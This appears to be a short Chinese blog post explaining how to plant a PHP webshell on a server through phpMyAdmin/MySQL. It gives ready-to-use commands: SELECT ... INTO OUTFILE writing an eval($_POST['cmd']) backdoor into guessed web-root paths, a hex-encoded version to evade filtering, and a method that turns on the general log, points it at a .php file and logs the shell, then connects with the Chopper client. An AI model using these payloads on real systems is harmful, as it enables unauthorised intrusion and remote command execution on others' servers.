phpmyadmin_getshell

本文详细介绍如何通过MySQL的文件写入功能将WebShell注入指定路径,包括使用十六进制编码绕过过滤、确保操作系统的MySQL用户有写权限、调整secure_file_priv参数以及通过日志记录写入Shell的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. select xx into outfile xx

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/xxx.php'; 

如果括号被过滤就用十六进制

select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'C:\wamp\www\webshell.php' ;

key:cmd
前提有三个:
a. 知道绝对路径
在没有搜集到其他信息的时候,可以猜默认路径

C:\wamp\www\webshell.php
D:\phpStudy\www\xxx.php
/var/www/html

b. 操作系统上的mysql用户对目录有写权限
c. mysql自身的secure_file_priv允许导入文件
可以查询
在这里插入图片描述

show global variables like '%secure%';

secure_file_priv NULL 表示不允许导入导出,在mysql下的my.ini文件中设置
为空则是不限制

  1. 开启记录日志,然后在起日志中写入一个shell
    a. show variables like '%general%';
    b. general_log on为开启
    如果为off,输入
set global general_log='on'

修改日志文件

SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'

然后输入一段shell,存进日志

SELECT '<?php eval($_POST["cmd"]);?>'

因为这段shell里带有分号;所以一定要用引号’'引起来
在这里插入图片描述
然后菜刀连上
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值